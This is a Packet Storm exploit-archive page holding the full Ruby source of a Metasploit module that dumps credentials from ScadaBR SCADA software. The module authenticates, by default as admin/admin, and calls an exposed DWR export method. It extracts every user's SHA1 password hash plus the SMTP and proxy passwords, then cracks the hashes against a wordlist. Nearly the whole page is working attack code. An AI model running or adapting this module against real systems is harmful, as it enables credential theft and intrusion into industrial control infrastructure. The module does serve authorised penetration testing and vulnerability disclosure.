what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ScadaBR Credentials Dumper

ScadaBR Credentials Dumper
Posted Aug 31, 2024
Authored by Brendan Coles | Site metasploit.com

This Metasploit module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the EmportDwr.createExportData DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level. This Metasploit module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.

tags | exploit
systems | linux, windows, ubuntu
SHA-256 | f40596265049d10a36a1005409391f8bea85bf7ec0db2b99e32a83e6d53b79fe

ScadaBR Credentials Dumper

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ScadaBR Credentials Dumper',
'Description' => %q{
This module retrieves credentials from ScadaBR, including
service credentials and unsalted SHA1 password hashes for
all users, by invoking the `EmportDwr.createExportData` DWR
method of Mango M2M which is exposed to all authenticated
users regardless of privilege level.

This module has been tested successfully with ScadaBR
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
},
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
'DisclosureDate' => '2017-05-28'
)
)
register_options([
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
OptPath.new('PASS_FILE', [
false, 'Wordlist file to crack password hashes',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt')
])
])
end

def login(user, pass)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.htm'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
'vars_post' => {
'username' => Rex::Text.uri_encode(user, 'hex-normal'),
'password' => Rex::Text.uri_encode(pass, 'hex-normal')
}
})

unless res
fail_with(Failure::Unreachable, "#{peer} Connection failed")
end

if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
print_good("#{peer} Authenticated successfully as '#{user}'")
else
fail_with(Failure::NoAccess, "#{peer} Authentication failed")
end
end

def export_data
params = [
'callCount=1',
"page=#{target_uri.path}/emport.shtm",
"httpSessionId=#{@cookie}",
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
'c0-scriptName=EmportDwr',
'c0-methodName=createExportData',
'c0-id=0',
'c0-param0=string:3',
'c0-param1=boolean:true',
'c0-param2=boolean:true',
'c0-param3=boolean:true',
'c0-param4=boolean:true',
'c0-param5=boolean:true',
'c0-param6=boolean:true',
'c0-param7=boolean:true',
'c0-param8=boolean:true',
'c0-param9=boolean:true',
'c0-param10=boolean:true',
'c0-param11=boolean:true',
'c0-param12=boolean:true',
'c0-param13=boolean:true',
'c0-param14=boolean:true',
'c0-param15=boolean:true',
'c0-param16=string:100',
'c0-param17=boolean:true',
'batchId=1'
]

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{@cookie}",
'ctype' => 'text/plain',
'data' => params.join("\n")
})

unless res
fail_with(Failure::Unreachable, "#{peer} Connection failed")
end

config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first

unless config_data
fail_with(Failure::UnexpectedReply, "#{peer} Export failed")
end

print_good("#{peer} Export successful (#{config_data.length} bytes)")

config_data
end

def load_wordlist(wordlist)
return unless File.exist?(wordlist)

File.open(wordlist, 'rb').each_line do |line|
@wordlist << line.chomp
end
end

def crack(user, hash)
return user if hash == Rex::Text.sha1(user)

@wordlist.each do |word|
return word if hash == Rex::Text.sha1(word)
end

nil
end

def run
login(datastore['USERNAME'], datastore['PASSWORD'])

config = export_data

path = store_loot('scadabr.config', 'text/plain', rhost, config, 'ScadaBR configuration settings')
print_good("Config saved in: #{path}")

begin
json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, ''))
rescue StandardError
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
end

service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}

user_cred_table = Rex::Text::Table.new(
'Header' => 'ScadaBR User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Hash (SHA1)', 'Role', 'E-mail']
)

users = json['users']

if users.empty?
print_error('Found no user data')
else
print_good("Found #{users.length} users")
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']])
load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil?
end

users.each do |user|
username = user['username']

next if username.blank?

admin = user['admin']
mail = user['email']
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
pass = crack(username, hash)
user_cred_table << [username, pass, hash, (admin ? 'Admin' : 'User'), mail]

creds = {
origin_type: :service,
module_fullname: fullname,
username: username
}.merge(service_data)

if pass
print_status("Found weak credentials (#{username}:#{pass})")
creds.merge!({
private_type: :password,
private_data: pass
})
else
creds.merge!({
private_type: :nonreplayable_hash,
private_data: "{SHA}#{user['password']}"
})
end

login_data = {
core: create_credential(creds),
access_level: (admin ? 'Admin' : 'User'),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)

create_credential_login(login_data)
end

service_cred_table = Rex::Text::Table.new(
'Header' => 'ScadaBR Service Credentials',
'Indent' => 1,
'Columns' => ['Service', 'Host', 'Port', 'Username', 'Password']
)

print_line
print_line(user_cred_table.to_s)

unless json['systemSettings'].nil?
system_settings = json['systemSettings'].first

unless system_settings['emailSmtpHost'] == '' || system_settings['emailSmtpUsername'] == ''
smtp_host = system_settings['emailSmtpHost']
smtp_port = system_settings['emailSmtpPort']
smtp_user = system_settings['emailSmtpUsername']
smtp_pass = system_settings['emailSmtpPassword']
print_good("Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}")
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
end

unless system_settings['httpClientProxyServer'] == '' || system_settings['httpClientProxyUsername'] == ''
proxy_host = system_settings['httpClientProxyServer']
proxy_port = system_settings['httpClientProxyPort']
proxy_user = system_settings['httpClientProxyUsername']
proxy_pass = system_settings['httpClientProxyPassword']
print_good("Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}")
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
end

print_line
print_line(service_cred_table.to_s)
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close